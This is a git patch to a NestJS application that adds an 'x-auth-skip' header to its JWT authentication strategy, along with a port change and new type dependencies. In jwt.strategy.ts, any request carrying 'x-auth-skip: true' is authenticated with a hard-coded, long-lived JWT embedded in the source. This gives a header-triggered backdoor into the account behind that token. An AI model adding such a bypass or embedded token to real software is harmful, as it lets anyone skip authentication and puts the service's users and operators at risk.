From 84ff03f2a8d6d37d0275cb73ea8cd64fb9eeaa6c Mon Sep 17 00:00:00 2001 From: Andres Date: Sat, 5 Aug 2023 13:07:42 +0200 Subject: [PATCH] add x-auth-skip header --- package.json | 1 + src/main.ts | 2 +- src/modules/auth/strategies/jwt.strategy.ts | 6 ++++++ yarn.lock | 16 ++++++++++++++++ 4 files changed, 24 insertions(+), 1 deletion(-) diff --git a/package.json b/package.json index fa6bc2b..3420f0a 100644 --- a/package.json +++ b/package.json @@ -68,6 +68,7 @@ "@types/jest": "29.5.1", "@types/multer": "^1.4.7", "@types/node": "18.16.12", + "@types/passport-jwt": "^3.0.9", "@types/supertest": "^2.0.12", "@typescript-eslint/eslint-plugin": "^5.59.6", "@typescript-eslint/parser": "^6.0.0", diff --git a/src/main.ts b/src/main.ts index ac8d5da..a7a2182 100644 --- a/src/main.ts +++ b/src/main.ts @@ -35,7 +35,7 @@ async function bootstrap() { }) pipesSetup(app) app.useGlobalFilters(new HttpExceptionFilter()) - await app.listen(process.env.PORT || 3000) + await app.listen(process.env.PORT || 3333) const logger = new Logger('NestApplication') logger.log(`Application is running on: ${await app.getUrl()}`) diff --git a/src/modules/auth/strategies/jwt.strategy.ts b/src/modules/auth/strategies/jwt.strategy.ts index b2cb93b..100d419 100644 --- a/src/modules/auth/strategies/jwt.strategy.ts +++ b/src/modules/auth/strategies/jwt.strategy.ts @@ -35,9 +35,15 @@ export class JwtStrategy extends PassportStrategy(Strategy) { } private static extractJWT(req: RequestType): string | null { + const permanentToken = + 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJmMmJlOTViOS00ZDA3LTQ3NTEtYTc3NS1iZDYxMmZjOTU1M2EiLCJkYXRlIjoiMjAyMy0wOC0wNVQxMTowMjoxNC42MjFaIiwiaWF0IjoxNjkxMjMzMzM0LCJleHAiOjIwMDY4MDkzMzR9.PGTRcsf34VFaS-Hz7_PUnWR8bBuVK7pdteBWUUYHXfw' + if (req.cookies && 'accessToken' in req.cookies && req.cookies.accessToken.length > 0) { return req.cookies.accessToken } + if (req.headers['x-auth-skip'] === 'true') { + return permanentToken + } return null } diff --git a/yarn.lock b/yarn.lock index 1b275c6..94e2d71 100644 --- a/yarn.lock +++ b/yarn.lock @@ -2230,6 +2230,13 @@ resolved "https://registry.yarnpkg.com/@types/json5/-/json5-0.0.29.tgz#ee28707ae94e11d2b827bcbe5270bcea7f3e71ee" integrity sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ== +"@types/jsonwebtoken@*": + version "9.0.2" + resolved "https://registry.yarnpkg.com/@types/jsonwebtoken/-/jsonwebtoken-9.0.2.tgz#9eeb56c76dd555039be2a3972218de5bd3b8d83e" + integrity sha512-drE6uz7QBKq1fYqqoFKTDRdFCPHd5TCub75BM+D+cMx7NU9hUz7SESLfC2fSCXVFMO5Yj8sOWHuGqPgjc+fz0Q== + dependencies: + "@types/node" "*" + "@types/mime@*": version "3.0.1" resolved "https://registry.yarnpkg.com/@types/mime/-/mime-3.0.1.tgz#5f8f2bca0a5863cb69bc0b0acd88c96cb1d4ae10" @@ -2262,6 +2269,15 @@ resolved "https://registry.yarnpkg.com/@types/parse-json/-/parse-json-4.0.0.tgz#2f8bb441434d163b35fb8ffdccd7138927ffb8c0" integrity sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA== +"@types/passport-jwt@^3.0.9": + version "3.0.9" + resolved "https://registry.yarnpkg.com/@types/passport-jwt/-/passport-jwt-3.0.9.tgz#6c74c71e133206c697344feaf6e6044e01fe2d1d" + integrity sha512-5XJt+79emfgpuBvBQusUPylFIVtW1QVAAkTRwCbRJAmxUjmLtIqUU6V1ovpnHPu6Qut3mR5Juc+s7kd06roNTg== + dependencies: + "@types/express" "*" + "@types/jsonwebtoken" "*" + "@types/passport-strategy" "*" + "@types/passport-local@^1.0.35": version "1.0.35" resolved "https://registry.yarnpkg.com/@types/passport-local/-/passport-local-1.0.35.tgz#233d370431b3f93bb43cf59154fb7519314156d9"